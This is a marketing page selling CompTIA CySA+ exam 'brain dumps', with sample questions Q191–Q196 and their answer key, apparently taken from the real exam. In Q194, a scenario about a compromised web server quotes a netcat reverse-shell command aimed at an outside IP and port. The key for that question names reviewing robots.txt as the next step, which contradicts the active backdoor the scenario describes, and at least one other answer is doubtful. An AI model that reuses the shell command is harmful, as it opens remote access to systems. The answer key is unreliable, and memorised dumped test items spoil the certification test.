Valid CS0-002 Exam Labs - Test CS0-002 Simulator

Our CompTIA CS0-002 exam brain dumps are regularly updated with the help of seasoned professionals. We see to it that our assessment is always at par with what is likely to be asked in the actual CompTIA CS0-002 examination. And If you're skeptical about the quality of our CompTIA CS0-002 exam dumps, you are more than welcome to try our demo for free and see what rest of the CS0-002 Exam applicants experience by availing our products. Our methods are tested and proven by more than 90,000 successful CompTIA certification examinees whose trusted Test4Engine. Want to know what they said about us, visit our testimonial section and read first-hand experiences from verified users.

CompTIA Cybersecurity Analyst (CySA+) Certification Exam Sample Questions (Q191-Q196):

NEW QUESTION # 191

While planning segmentation for an ICS environment, a security engineer determines IT resources will need access to devices within the ICS environment without compromising security.

To provide the MOST secure access model in this scenario, the jumpbox should be _____.

- A. bridged between the IT and operational technology networks to allow authenticated access.
- B. placed on the IT side of the network, authenticated, and tunneled into the ICS environment.
- C. placed on the ICS network with a static firewall rule that allows IT network resources to authenticate.
- D. placed in an isolated network segment, authenticated on the IT side, and forwarded into the ICS network.

Answer: D

NEW QUESTION # 192

The steering committee for information security management annually reviews the security incident register for the organization to look for trends and systematic issues. The steering committee wants to rank the risks based on past incidents to improve the security program for next year. Below is the incident register for the organization:

Date	Department impacted	Incident	Impact
January 12	IT	SIEM log review was not performed in the month of January	- Known malicious IPs not blacklisted - No known company impact - Policy violation - Internal audit finding
March 16	HR	Termination of employee; did not remove access within 48-hour window	- No known impact - Policy violation - Internal audit finding
April 1	Engineering	Change control ticket not found	- No known impact - Policy violation - Internal audit finding
July 31	Company-wide	Service outage	- Backups failed - Unable to restore for three days - Policy violation
September 8	IT	Quarterly scans showed unpatched critical vulnerabilities (more than 90 days old)	- No known impact - Policy violation - Internal audit finding
November 24	Company-wide	Ransomware attack	- Backups failed - Unable to restore for five days - Policy violation
December 26	IT	Lost laptop at airport	- Cost of laptop \$1,250

Which of the following should the organization consider investing in first due to the potential impact of availability?

- A. Hire additional staff for the IT department to assist with vulnerability management and log review.
- B. **Invest in a failover and redundant system, as necessary.**
- C. Build a warm site in case of system outages.
- D. Hire a managed service provider to help with vulnerability management.

Answer: B

Explanation:

Investing in a failover and redundant system, as necessary, is the best solution to improve the availability of the organization's systems based on past incidents. A failover system is a backup system that automatically takes over the operation of a primary system in case of a failure or outage. A redundant system is a duplicate system that runs simultaneously with the primary system and provides backup functionality if needed. Investing in a failover and redundant system can help to ensure that the organization's systems are always available and can handle the workload without interruption or degradation.

NEW QUESTION # 193

An IT security analyst has received an email alert regarding a vulnerability within the new fleet of vehicles the company recently purchased. Which of the following attack vectors is the vulnerability MOST likely targeting?

- A. IoT
- B. **CAN bus**
- C. Modbus
- D. SCADA

Answer: B

Explanation:

Explanation

The Controller Area Network - CAN bus is a message-based protocol designed to allow the Electronic Control Units (ECUs) found in today's automobiles, as well as other devices, to communicate with each other in a reliable, priority-driven fashion. Messages or "frames" are received by all devices in the network, which does not require a host computer.

NEW QUESTION # 194

A security analyst is investigating the possible compromise of a production server for the company's public-facing portal. The analyst runs a vulnerability scan against the server and receives the following output:

```
+ Server: nginx/1.4.0 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can
  hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow
  the user agent to render the content of the site in a different
  fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all
  possible dirs)
+ Entry '/wp-admin/' in robots.txt returned a non-forbidden or
  redirect HTTP code (302)
+ "robots.txt" contains two entries that should be manually
  viewed.
```

In some of the portal's startup command files, the following command appears:

```
nc -o /bin/sh 72.14.1.36 4444
```

Investigating further, the analyst runs Netstat and obtains the following output

```
# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address state
tcp 0 0 *:443 *:* LISTEN
tcp 0 52 "72.14.1.36:4444" ESTABLISHED
tcp 0 0 *:80 *:* LISTEN
```

Which of the following is the best step for the analyst to take NEXT?

- A. Manually review the robots .txt file for errors
- B. Delete the unknown files from the production servers
- C. Recommend training to avoid mistakes in production command files
- D. Initiate the security incident response process
- E. Patch a new vulnerability that has been discovered

Answer: A

NEW QUESTION # 195

A Chief Information Security Officer (CISO) is concerned about new privacy regulations that apply to the company. The CISO has tasked a security analyst with finding the proper control functions to verify that a user's data is not altered without the user's consent. Which of the following would be an appropriate course of action?

- A. Use encryption first and then hash the data at regular, defined times.
- B. Use a DLP product to monitor the data sets for unauthorized edits and changes.
- C. Replicate the data sets at regular intervals and continuously compare the copies for unauthorized changes.
- D. Automate the use of a hashing algorithm after verified users make changes to their data

Answer: B

NEW QUESTION # 196

.....

To attempt the CompTIA CS0-002 exam optimally and ace it on the first attempt, proper exam planning is crucial. Since the CompTIA CS0-002 exam demands a lot of time and effort, we designed the CompTIA Cybersecurity Analyst (CySA+) Certification Exam (CS0-002) exam dumps in such a way that you won't have to go through sleepless study nights or disturb your schedule. Before starting the CompTIA CS0-002 Preparation, plan the amount of time you will allot to each topic, determine the topics that demand more effort and prioritize the components that possess more weightage in the CompTIA CS0-002 exam.
